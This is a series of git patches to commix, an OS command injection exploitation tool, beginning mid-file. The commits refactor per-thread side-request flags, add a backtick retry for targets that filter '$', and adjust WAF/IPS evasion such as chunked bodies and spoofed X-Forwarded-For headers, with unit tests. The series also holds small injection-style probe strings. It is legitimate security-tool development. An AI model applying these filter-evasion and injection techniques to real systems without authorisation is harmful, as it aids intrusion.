suggestions.append("use option '--tamper'") if not menu.options.random_agent and not settings.BROWSER_LIKE_HEADERS: - if not menu.options.tamper: - err_msg += " and/or" - err_msg += " switch '--random-agent'" - err_msg += "." + suggestions.append("switch '--random-agent'") + if suggestions: + err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to " + err_msg += " and/or ".join(suggestions) + "." err_msg += checks.tamper_shell_feature_note() """ A page that is mostly layout answers the comparison badly: what a command prints is a diff --git a/src/utils/settings.py b/src/utils/settings.py index 70a52a6724..b434a9d001 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "327" +REVISION = "328" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. From 54192ab2c4345d2289bcbd89a90f21466bc4c219 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Nov 2026 08:19:25 +0200 Subject: [PATCH 1002/1023] Fixed several issues regarding the HTTP headers a request carries and the values the options are given, affecting the WAF/IPS evasion, chunked transfer-encoding, the visit that keeps a session alive and the request accounting under `--threads` --- src/core/requests/anticsrf.py | 6 +-- src/core/requests/headers.py | 39 +++++++++++------ src/core/requests/parameters.py | 5 ++- src/core/requests/requests.py | 6 +-- src/core/requests/stability.py | 5 ++- src/utils/settings.py | 37 ++++++++++++---- tests/test_parameters.py | 15 +++++++ tests/test_side_requests.py | 75 +++++++++++++++++++++++++++++++++ tests/test_waf_evasion.py | 51 ++++++++++++++++++++++ 9 files changed, 207 insertions(+), 32 deletions(-) create mode 100644 tests/test_side_requests.py diff --git a/src/core/requests/anticsrf.py b/src/core/requests/anticsrf.py index b47bfd9dc0..019e9d03d9 100644 --- a/src/core/requests/anticsrf.py +++ b/src/core/requests/anticsrf.py @@ -146,9 +146,9 @@ def _carries_token(request): the cookie - which is also where it is read from, for a target that hands it back that way. """ def apply_token(request): - if not settings.CSRF_TOKEN or settings.FETCHING_CSRF_TOKEN or not _carries_token(request): + if not settings.CSRF_TOKEN or settings.in_side_request("csrf_token") or not _carries_token(request): return - settings.FETCHING_CSRF_TOKEN = True + settings.set_side_request("csrf_token", True) try: url = request.get_full_url() method = request.get_method() @@ -208,6 +208,6 @@ def apply_token(request): menu.options.headers = adjust_header(menu.options.headers, token_name, token_value) settings.RAW_HTTP_HEADERS = adjust_header(settings.RAW_HTTP_HEADERS, token_name, token_value) finally: - settings.FETCHING_CSRF_TOKEN = False + settings.set_side_request("csrf_token", False) # eof diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 487eb53d18..c862cd5c47 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -246,7 +246,7 @@ def count_request(): with settings.REQUESTS_LOCK: settings.REQUEST_COUNTER += 1 counter = settings.REQUEST_COUNTER - if settings.SENDING_SAFE_REQUEST: + if settings.in_side_request(): return if menu.options.proxy_freq and counter % menu.options.proxy_freq == 0: @@ -262,9 +262,9 @@ def count_request(): many odd-looking requests sees an ordinary one in between them. """ def send_safe_request(): - if settings.SENDING_SAFE_REQUEST: + if settings.in_side_request("safe_request"): return - settings.SENDING_SAFE_REQUEST = True + settings.set_side_request("safe_request", True) try: if settings.SAFE_REQUEST: safe = settings.SAFE_REQUEST @@ -276,7 +276,7 @@ def send_safe_request(): data = menu.options.safe_post.encode(settings.DEFAULT_CODEC) if menu.options.safe_post else None method = settings.HTTPMETHOD.POST if menu.options.safe_post else settings.HTTPMETHOD.GET request = _urllib.request.Request(menu.options.safe_url, data, method=method) - do_check(request) + do_check(request, safe=True) if settings.VERBOSITY_LEVEL >= 2: debug_msg = "Visiting the safe URL '" + request.get_full_url() + "'." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -293,7 +293,7 @@ def send_safe_request(): # it was sent between is the one that matters. pass finally: - settings.SENDING_SAFE_REQUEST = False + settings.set_side_request("safe_request", False) """ What holds for a request whatever it was sent for: the pacing that was asked for, the count it is @@ -680,16 +680,25 @@ def send_request(request): return response """ -Check for added headers. +What every request the run makes carries: the headers the options ask for, the body framing, and +whatever the evasion has turned on. + +'safe' marks the visit that keeps the session alive. It is sent for the session rather than to +test anything, so what belongs to a test - the token, the randomised parameters - and what belongs +to the evasion - the chunked body, the headers a tamper script adds - is left off it. An ordinary +visit is the whole point of it, and a filter that is being evaded is not reading it. """ -def do_check(request): +def do_check(request, safe=False): request = encode_non_ascii_url(request) - randomize_parameters(request) - anticsrf.apply_token(request) + # The address this one was given is the user's own, asked for as it was written, and the token + # belongs to the request being tested rather than to the one sent between them. + if not safe: + randomize_parameters(request) + anticsrf.apply_token(request) # Frame the body as chunks, so a filter inspecting it never sees the payload in one piece. - if menu.options.chunked and request.data and not request.has_header(settings.TRANSFER_ENCODING): + if menu.options.chunked and request.data and not safe and not request.has_header(settings.TRANSFER_ENCODING): request.data = chunked.split_post_data(request.data.decode(settings.DEFAULT_CODEC, errors="replace")).encode(settings.DEFAULT_CODEC) request.add_unredirected_header(settings.TRANSFER_ENCODING, "chunked") @@ -722,12 +731,14 @@ def do_check(request): request.add_header(settings.ACCEPT_LANGUAGE, settings.HTTP_ACCEPT_LANGUAGE_BROWSER_VALUE) # One the target's own request carries is applied further below, and an unredirected default would override it. + # Said of a body: a request carrying none describes nothing by naming a type for it, and no browser + # names one on a request it sends empty. supplied_headers = str(menu.options.headers or "") + str(menu.options.header or "") + str(settings.RAW_HTTP_HEADERS or "") - if not checks.get_header(request.headers, settings.CONTENT_TYPE) and settings.CONTENT_TYPE.lower() not in supplied_headers.lower(): + if request.data is not None and not checks.get_header(request.headers, settings.CONTENT_TYPE) and settings.CONTENT_TYPE.lower() not in supplied_headers.lower(): request.add_unredirected_header(settings.CONTENT_TYPE, settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE) # The MIME media type for JSON. - if menu.options.data and not (menu.options.requestfile or menu.options.logfile): + if request.data is not None and menu.options.data and not (menu.options.requestfile or menu.options.logfile): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) @@ -741,13 +752,13 @@ def do_check(request): request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE if settings.PAGE_COMPRESSION else settings.HTTP_ACCEPT_ENCODING_IDENTITY) # Appends a fake HTTP header 'X-Forwarded-For' (and similar) - if settings.TAMPER_SCRIPTS["xforwardedfor"]: + if settings.TAMPER_SCRIPTS["xforwardedfor"] and not safe: from src.tamper.misc import xforwardedfor xforwardedfor.tamper(request) # Carries the two halves the payload reads back through '$_SERVER' - drawn with it, so the names # in the payload and the headers on this request are the same pair. - if settings.TAMPER_SCRIPTS["phpserverheaders"]: + if settings.TAMPER_SCRIPTS["phpserverheaders"] and not safe: from src.tamper.eval.php import phpserverheaders phpserverheaders.apply_headers(request) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 4c6cab3019..953fc4a0e1 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -516,7 +516,10 @@ def split_post_parameters(parameter): settings.XML_TAG_SEPARATORS = re.findall(r">(\s*)<", settings.USER_DEFINED_POST_DATA or parameter) # Shield leaf elements before the ">"/"<" split below. parameter, _shielded = shield_xml_leaves(parameter) - parameter = re.sub(r">\s*<", ">" + settings.POST_DATA_PARAM_DELIMITER + "<", parameter) + # Handed over as a function rather than as a string: a replacement string reads a backslash in + # the delimiter as an escape of its own, and a value such as "\1" is answered with an error + # about a group that was never asked for. + parameter = re.sub(r">\s*<", lambda match: ">" + settings.POST_DATA_PARAM_DELIMITER + "<", parameter) kept = [] parameters = re.findall(r'(.*)', parameter) parameters = [param for param in parameters if param] diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 8882f4a2c3..f413cc3192 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -855,7 +855,7 @@ def get_request_response(request): named by '--second-url'/'--second-req' is fetched in its place, and read for the result instead. """ def second_order_response(payload=None): - if settings.FETCHING_SECOND_ORDER: + if settings.in_side_request("second_order"): return None if not menu.options.second_url and not settings.SECOND_ORDER_REQUEST: return None @@ -864,7 +864,7 @@ def second_order_response(payload=None): if payload and settings.WAF_CHECK_PAYLOAD in str(payload): return None - settings.FETCHING_SECOND_ORDER = True + settings.set_side_request("second_order", True) try: # The stored request may say where the payload goes, the way the target's own parameters do. def _with_payload(value): @@ -888,7 +888,7 @@ def _with_payload(value): except Exception: return None finally: - settings.FETCHING_SECOND_ORDER = False + settings.set_side_request("second_order", False) """ Check if target host is vulnerable. diff --git a/src/core/requests/stability.py b/src/core/requests/stability.py index 6e8f2af241..dbf6006775 100644 --- a/src/core/requests/stability.py +++ b/src/core/requests/stability.py @@ -88,8 +88,9 @@ def note_request_sent(): # A request the run makes around the measured one - the page a second-order result shows up on, # the visit that keeps a session alive, the fetch of an anti-CSRF token - is part of that # measurement rather than a second attempt at it. Counting one would read as a retry, and every - # timing taken with those options in play would be thrown away as untrustworthy. - if any((settings.FETCHING_SECOND_ORDER, settings.SENDING_SAFE_REQUEST, settings.FETCHING_CSRF_TOKEN)): + # timing taken with those options in play would be thrown away as untrustworthy. Asked of this + # thread alone, for the same reason the tally above is kept per thread. + if settings.in_side_request(): return _thread_state.sent = getattr(_thread_state, "sent", 0) + 1 diff --git a/src/utils/settings.py b/src/utils/settings.py index b434a9d001..ecfc9f5c3d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "328" +REVISION = "329" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -2599,21 +2599,40 @@ class END_LINE: SAFE_REQUEST = None # The request '--second-req' was given: where the output of an injection shows up, rather than -# where the injection is sent. True while that page is being fetched, so it fetches nothing itself. +# where the injection is sent. SECOND_ORDER_REQUEST = None -FETCHING_SECOND_ORDER = False # Every request this run has sent, counted for the options that act every so many of them. REQUEST_COUNTER = 0 -# True while the safe request is on its way, so that it does not count itself. -SENDING_SAFE_REQUEST = False - -# The anti-CSRF token: what names it (an expression), what the user wrote, and True while the page -# holding it is being fetched - a fetch that must not go looking for a token of its own. +# The anti-CSRF token: what names it (an expression) and what the user wrote. CSRF_TOKEN = None CSRF_TOKEN_ORIGINAL = None -FETCHING_CSRF_TOKEN = False + +""" +The requests the run makes around the one it is measuring: the page a second-order result shows up +on, the visit that keeps a session alive, the fetch of the page an anti-CSRF token is read from. +Each is marked while it is on its way, so that it fetches nothing of its own kind, is left out of +the count the pacing options act on, and is not taken for a second attempt at the request it was +made around. + +Held per thread rather than for the run: each is asked for by a run-wide option, but the request +it makes is made by one worker, and whatever another worker has in flight at that moment is a +request of its own. Read off one flag shared by all of them, that request is taken for part of +someone else's errand - left out of the tally its own retry check is read against, and left out of +the pacing that '--safe-freq' and '--proxy-freq' go by. +""" +SIDE_REQUEST_KINDS = ("second_order", "safe_request", "csrf_token") +SIDE_REQUESTS = _threading.local() + +# Whether this thread is in the middle of one of them - of the kind named, or of any kind at all. +def in_side_request(kind=None): + names = (kind,) if kind else SIDE_REQUEST_KINDS + return any(bool(getattr(SIDE_REQUESTS, name, False)) for name in names) + +# Mark this thread as being in one of them, or out of it again. +def set_side_request(kind, value): + setattr(SIDE_REQUESTS, kind, value) # Init Test INIT_TEST = "" diff --git a/tests/test_parameters.py b/tests/test_parameters.py index 3488019eee..d73f0646cc 100644 --- a/tests/test_parameters.py +++ b/tests/test_parameters.py @@ -101,6 +101,21 @@ def test_a_single_pair_stays_one(self): split, _ = parameters.split_post_parameters("a=1") self.assertEqual(["a=1"], split) + def test_a_delimiter_carrying_a_backslash_splits_an_xml_body_as_it_stands(self): + # The split puts the delimiter between the tags, where a backslash would otherwise be read as + # an escape and "\1" as a group that was never asked for. + state = (settings.IS_XML, settings.POST_DATA_PARAM_DELIMITER, settings.XML_TAG_SEPARATORS, + menu.options.data, settings.USER_DEFINED_POST_DATA) + settings.IS_XML = True + settings.POST_DATA_PARAM_DELIMITER = "\\1" + menu.options.data = settings.USER_DEFINED_POST_DATA = "12" + try: + split, _ = parameters.split_post_parameters("12") + self.assertTrue(split) + finally: + (settings.IS_XML, settings.POST_DATA_PARAM_DELIMITER, settings.XML_TAG_SEPARATORS, + menu.options.data, settings.USER_DEFINED_POST_DATA) = state + class NamedBoundary(unittest.TestCase): """ What '--prefix' and '--suffix' do to the boundary the sweep was going to send. diff --git a/tests/test_side_requests.py b/tests/test_side_requests.py new file mode 100644 index 0000000000..9284c5e8e2 --- /dev/null +++ b/tests/test_side_requests.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import threading +import unittest + +from src.utils import settings +from src.core.requests import stability + +class ASideRequestIsTheThreadsOwn(unittest.TestCase): + """ + Each of them is asked for by a run-wide option, but the request it makes is made by one worker. + Whatever another worker has in flight at that moment is a request of its own, and counting it is + what the retry check it is read against depends on. + """ + def setUp(self): + for kind in settings.SIDE_REQUEST_KINDS: + settings.set_side_request(kind, False) + + def tearDown(self): + for kind in settings.SIDE_REQUEST_KINDS: + settings.set_side_request(kind, False) + + def _counted_on_a_worker(self): + counted = {} + def worker(): + before = stability.requests_sent() + stability.note_request_sent() + counted["by"] = stability.requests_sent() - before + thread = threading.Thread(target=worker) + thread.start() + thread.join() + return counted["by"] + + def test_a_thread_in_one_does_not_count_its_own_request(self): + before = stability.requests_sent() + settings.set_side_request("safe_request", True) + stability.note_request_sent() + self.assertEqual(0, stability.requests_sent() - before) + + def test_it_counts_again_once_that_one_is_done(self): + before = stability.requests_sent() + settings.set_side_request("safe_request", True) + settings.set_side_request("safe_request", False) + stability.note_request_sent() + self.assertEqual(1, stability.requests_sent() - before) + + def test_one_thread_being_in_one_says_nothing_about_another(self): + for kind in settings.SIDE_REQUEST_KINDS: + settings.set_side_request(kind, True) + self.assertEqual(1, self._counted_on_a_worker(), kind) + settings.set_side_request(kind, False) + + def test_a_kind_is_asked_about_by_name_as_well_as_in_general(self): + settings.set_side_request("csrf_token", True) + self.assertTrue(settings.in_side_request("csrf_token")) + self.assertFalse(settings.in_side_request("safe_request")) + self.assertTrue(settings.in_side_request()) + +if __name__ == '__main__': + unittest.main() + +# eof diff --git a/tests/test_waf_evasion.py b/tests/test_waf_evasion.py index e752628840..dc4585b0f1 100644 --- a/tests/test_waf_evasion.py +++ b/tests/test_waf_evasion.py @@ -137,6 +137,57 @@ def test_a_run_that_reads_as_a_browser_asks_the_way_one_does(self): self.assertEqual(settings.HTTP_ACCEPT_BROWSER_VALUE, sent[settings.ACCEPT.lower()]) self.assertEqual(settings.HTTP_ACCEPT_LANGUAGE_BROWSER_VALUE, sent[settings.ACCEPT_LANGUAGE.lower()]) + def test_a_request_carrying_no_body_names_no_type_for_one(self): + self.assertNotIn(settings.CONTENT_TYPE.lower(), self._headers_of_a_request()) + + def test_a_request_carrying_one_says_what_it_is(self): + request = _urllib.request.Request("http://t/a.php", b"addr=1", method="POST") + headers.do_check(request) + sent = dict((name.lower(), value) for name, value in request.header_items()) + self.assertEqual(settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE, sent[settings.CONTENT_TYPE.lower()]) + +class TheVisitThatKeepsTheSessionIsAnOrdinaryOne(_AFreshRun): + """ + Sent for the session rather than to test anything, so what the evasion turned on is left off it - + a fresh spoofed client address on each of them is the surest way to lose the very session it was + sent to hold, and the target is not the one being evaded. + """ + def setUp(self): + _AFreshRun.setUp(self) + self._script = settings.TAMPER_SCRIPTS["xforwardedfor"] + settings.TAMPER_SCRIPTS["xforwardedfor"] = True + menu.options.chunked = True + menu.options.data = None + menu.options.cookie = None + menu.options.live_cookies = None + menu.options.referer = None + menu.options.host = None + + def tearDown(self): + settings.TAMPER_SCRIPTS["xforwardedfor"] = self._script + _AFreshRun.tearDown(self) + + def _sent(self, **kwargs): + request = _urllib.request.Request("http://t/a.php", b"addr=1", method="POST") + headers.do_check(request, **kwargs) + return dict((name.lower(), value) for name, value in request.header_items()) + + def test_a_request_being_tested_still_carries_what_the_evasion_turned_on(self): + sent = self._sent() + self.assertIn("x-forwarded-for", sent) + self.assertEqual("chunked", sent[settings.TRANSFER_ENCODING.lower()]) + + def test_the_visit_that_keeps_the_session_carries_none_of_it(self): + sent = self._sent(safe=True) + self.assertNotIn("x-forwarded-for", sent) + self.assertNotIn(settings.TRANSFER_ENCODING.lower(), sent) + + def test_it_still_carries_what_the_session_is_held_by(self): + menu.options.cookie = "PHPSESSID=abc" + sent = self._sent(safe=True) + self.assertEqual("PHPSESSID=abc", sent[settings.COOKIE.lower()]) + self.assertIn(settings.USER_AGENT.lower(), sent) + """ The browser User-Agent values switch '--random-agent' draws from. """ From 0265ceb26e59f124545f45a586c961cffb3f23c5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Nov 2026 08:21:59 +0200 Subject: [PATCH 1003/1023] Fixed several issues regarding the HTTP headers a request carries and the values the options are given, affecting the WAF/IPS evasion, the request accounting under `--threads` and bearer HTTP authentication --- src/core/controller/checks.py | 31 ++++++++++++++++ src/core/controller/controller.py | 31 +++++++++++++++- src/core/main.py | 8 +---- src/core/options.py | 8 ++--- src/utils/crawler.py | 9 +++-- src/utils/session_handler.py | 18 ++++++++++ src/utils/settings.py | 10 ++++-- tests/test_checks.py | 60 +++++++++++++++++++++++++++++++ tests/test_options.py | 22 +++++++++++- tests/test_session.py | 38 ++++++++++++++++++++ 10 files changed, 215 insertions(+), 20 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 7a74ebdd0c..d385d1b265 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -4218,6 +4218,37 @@ def tamper_shell_spans(payload, transform, nested=False, literal=False): walked = transform(walked, nested) return re.sub(SHELL_SPAN_HELD_REGEX, lambda x: held[int(x.group(1))], walked) +""" +Whether a substitution written with backticks is one the target could even be asked about. + +Only where the substitution is the shell's to make: 'cmd.exe' has no backtick, and an interpreter +is handed a program rather than a shell line. And only while the scripts in use are ours to choose. +""" +def may_retry_through_backticks(): + return not menu.options.interpreter and settings.TARGET_OS != settings.OS.WINDOWS and \ + not (settings.USER_APPLIED_TAMPER or menu.options.tamper) and \ + "backticks" not in settings.MULTI_ENCODED_PAYLOAD + +""" +Whether to ask the target the same question again with the substitution written as backticks. + +Every command substitution written here is opened with '$', the heuristic's own probe included, and +so is the '${IFS}' a filtered whitespace is first worked around with - so a single filter on that +one character refuses all of them, and what gets reported is a parameter that is not injectable +rather than one that was asked the wrong way. A backtick opens the same substitution and is a +different character. + +Asked once and held for the run, the way the other retry consents are: what is being answered is +whether another pass around an obstacle is worth its cost at all, which is the same answer for +every target. +""" +def backtick_retry_consent(): + if settings.BACKTICK_RETRY_CHOICE is None: + message = "Do you want " + settings.APPLICATION + " to try again in case a dollar sign ('$') is being " + message += "filtered (e.g. by using a tamper script that substitutes through backticks instead)? [Y/n] " + settings.BACKTICK_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.BACKTICK_RETRY_CHOICE + """ Whether to answer the detected WAF/IPS with evasion, asked once and kept for the rest of the run. A tamper script provided by the user is left alone - the combination is their call, not ours. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index a0945b9c0d..21befde310 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1148,6 +1148,21 @@ def _ensure_time_warmup(): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) checks.define_target_os() + # The probe above is written with the same '$(...)' every payload after it is, so a filter + # on that one character refuses it before the sink is reached - and the parameter is put + # down as not injectable rather than as asked the wrong way. One more ask, with the + # substitution written as backticks, settles which of the two it was. Paid for only where + # the probe already found nothing, and only once the user has said it is worth paying. + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE and \ + checks.may_retry_through_backticks() and checks.backtick_retry_consent(): + settings.AUTO_TAMPER.append("backticks") + checks.tamper_scripts(stored_tamper_scripts=False) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, place) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE: + # It answered nothing either, so the rest of this parameter is not carried through a + # script that turned out to be about something else. + checks.drop_auto_tampers() + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE: settings.HEURISTIC_TEST.POSITIVE = False warn_msg = "Heuristic (basic) test shows that " @@ -1333,6 +1348,7 @@ def _accepts_dashless_retry(): settings.DASHLESS_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO return settings.DASHLESS_RETRY_CHOICE + # A filter that rejects any literal whitespace blocks the heuristic test the same as every # technique, so gating this on a positive heuristic would never fire for the one case it # exists for. 'MULTI_ENCODED_PAYLOAD' already carrying the script is what keeps it from @@ -1370,7 +1386,20 @@ def _accepts_dashless_retry(): _reset_web_root_detection() end_detection = _run_and_verify() - # Not a filter at all, unlike the three passes above: the value is reaching the sink intact + # The one obstacle none of the passes above can be written around: every command substitution + # commix writes is opened with '$', and so is the '${IFS}' the first whitespace pass reaches + # for - so a filter built on that character refuses them all, the dash-free tests included. + # A backtick opens the same substitution and is a different character, which is the whole of + # what is being asked here. Not offered where the substitution is not the shell's to make: + # 'cmd.exe' has no backtick, and an interpreter is handed a program rather than a shell line. + if not end_detection and checks.injection_techniques_status() is False and \ + checks.may_retry_through_backticks() and checks.backtick_retry_consent(): + settings.AUTO_TAMPER.append("backticks") + checks.tamper_scripts(stored_tamper_scripts=False) + _reset_web_root_detection() + end_detection = _run_and_verify() + + # Not a filter at all, unlike the four passes above: the value is reaching the sink intact # and is the problem itself, because this sink reads its first byte rather than the end of it. # Left set only where it confirmed something - a pass that found nothing would otherwise hand # the next parameter a value already replaced, and have it tested that way alone. diff --git a/src/core/main.py b/src/core/main.py index 33c003c5c8..febfc96b88 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -763,13 +763,7 @@ def main(filename, url, http_request_method): # Check if defined "--url" or "-m" option. if url: - if menu.options.auth_cred and menu.options.auth_type: - username, password = menu.options.auth_cred.split(":", 1) - if not settings.LOAD_SESSION: - session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ - admin_panel=url, username=username, \ - password=password - ) + session_handler.store_given_credentials(url) try: try: # The page the target answered with, kept off the response already in hand. diff --git a/src/core/options.py b/src/core/options.py index f599777220..f7dfe8dfd9 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -251,11 +251,6 @@ def validate(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) - if menu.options.failed_tries == 0: - err_msg = "You must specify '--failed-tries' value, greater than zero." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit(settings.EXIT_FAILURE) - """ A certificate is the credential, so it is not asked for beside one. @@ -410,7 +405,8 @@ def validate(): ("--time-limit", menu.options.time_limit, 0), ("--timeout", menu.options.timeout, 1), ("--maxlen", menu.options.maxlen, 1), - ("--threads", menu.options.threads, 1)): + ("--threads", menu.options.threads, 1), + ("--failed-tries", menu.options.failed_tries, 1)): if value is None or value >= minimum: continue err_msg = "The value of the '" + option + "' option must " diff --git a/src/utils/crawler.py b/src/utils/crawler.py index e8d25694d5..0b1afd167b 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ +import os import re import random import string @@ -126,10 +127,14 @@ def store_crawling(output_href): message += "(for eventual further processing with other tools)? [y/N] " message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: - filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] + handle, filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT) info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - with open(filename, 'a', encoding=settings.DEFAULT_CODEC) as crawling_results: + # Written through the one the file was made with, the way the other two of these are: a + # file opened again by its name is a second opening of one already open, and the first is + # then left open for the rest of the run - along with the exclusive creation that is the + # whole reason for asking for it this way. + with os.fdopen(handle, 'w', encoding=settings.DEFAULT_CODEC) as crawling_results: for url in output_href: crawling_results.write(str(url.encode(settings.DEFAULT_CODEC).decode()) + settings.END_LINE.LF) return diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 039dac727e..4fc3f5376a 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -1065,6 +1065,24 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa except sqlite3.DatabaseError: checks.error_loading_session_file() +""" +Keep the credentials this run was given, so that a target asking for them again is answered without +asking the user a second time. + +Only for the types that have a username and a password to keep: what is stored is that pair, and a +bearer token is neither half of one - it is a single value with no colon in it, and asking it for a +second half is asking for one that was never there. +""" +def store_given_credentials(url): + if settings.LOAD_SESSION or not (menu.options.auth_cred and menu.options.auth_type): + return False + if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST): + return False + username, _sep, password = menu.options.auth_cred.partition(":") + import_valid_credentials(url, authentication_type=menu.options.auth_type, admin_panel=url, + username=username, password=password) + return True + """ Retrieve valid stored authentication credentials for a given URL and authentication type from the session database. Returns the credentials as a colon-separated string if found. diff --git a/src/utils/settings.py b/src/utils/settings.py index ecfc9f5c3d..d74b0a7a6e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "329" +REVISION = "330" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -959,6 +959,9 @@ class OS(object): TEMP_FOLDER_CHOICE = None # The same consent, asked about a filter built around '-' rather than around whitespace. DASHLESS_RETRY_CHOICE = None +# And the same again for one built around '$', which is what every command substitution this writes +# is opened with - and what the whitespace pass above reaches for first, in '${IFS}'. +BACKTICK_RETRY_CHOICE = None # The HTTP header name. HTTP_HEADER = "" @@ -3118,11 +3121,12 @@ def set_side_request(kind, value): "USER_APPLIED_TAMPER", "USER_APPLIED_TECHNIQUE", "USER_APPLIED_WEB_ROOT", "USER_APPLIED_INTERPRETER", "USER_APPLIED_TIMESEC", "USER_APPLIED_TMP_PATH", - # Answered once by the user, and not worth asking again for every target. The three retry consents + # Answered once by the user, and not worth asking again for every target. The four retry consents # belong here for the reason the WAF/IPS one does: each asks whether to pay for another pass around # an obstacle, and an answer given once covers every target the same way, since what is being # answered is whether that pass is worth its cost at all. - "ADJUST_TIME_DELAY_CHOICE", "DASHLESS_RETRY_CHOICE", "FILE_BASED_NARROWING_CHOICE", + "ADJUST_TIME_DELAY_CHOICE", "BACKTICK_RETRY_CHOICE", "DASHLESS_RETRY_CHOICE", + "FILE_BASED_NARROWING_CHOICE", "IGNORE_IDENTIFIED_TARGET_OS", "IGNORE_NOT_FOUND", "NOT_FOUND_PROMPTED", "UNSTABLE_PROMPTED", "RECOGNISE_OS", "REPLACE_VALUE_RETRY_CHOICE", "THREADED_TIME_RETRIEVAL_CHOICE", "USE_BIN_SUBDIR_CHOICE", "WAF_EVASION_CONSENT", "WHITESPACE_RETRY_CHOICE", diff --git a/tests/test_checks.py b/tests/test_checks.py index 7d01d1c8b0..d9b753f6c6 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -1147,6 +1147,66 @@ def test_nothing_is_rewritten_where_no_script_is_applied(self): settings.MULTI_ENCODED_PAYLOAD = [] self.assertEqual("${AB}Q;echo TAG;", checks.payload_with_own_value("${AB}Q;echo TAG;")) +class ASubstitutionWrittenAnotherWayIsWorthOneMoreAsk(unittest.TestCase): + """ + Every substitution written here opens with '$', and so does the '${IFS}' a filtered whitespace is + first worked around with - so one filter on that character refuses the lot, the heuristic's own + probe included. A backtick opens the same substitution and is a different character. + """ + def setUp(self): + from src.utils import common + self._common = common + self._state = (settings.BACKTICK_RETRY_CHOICE, settings.TARGET_OS, settings.USER_APPLIED_TAMPER, + list(settings.MULTI_ENCODED_PAYLOAD), menu.options.interpreter, menu.options.tamper, + common.read_input) + settings.BACKTICK_RETRY_CHOICE = None + settings.TARGET_OS = settings.OS.UNIX + settings.USER_APPLIED_TAMPER = "" + settings.MULTI_ENCODED_PAYLOAD = [] + menu.options.interpreter = None + menu.options.tamper = None + self.asked = [] + common.read_input = lambda message, **kwargs: self.asked.append(message) or "Y" + + def tearDown(self): + (settings.BACKTICK_RETRY_CHOICE, settings.TARGET_OS, settings.USER_APPLIED_TAMPER, + settings.MULTI_ENCODED_PAYLOAD, 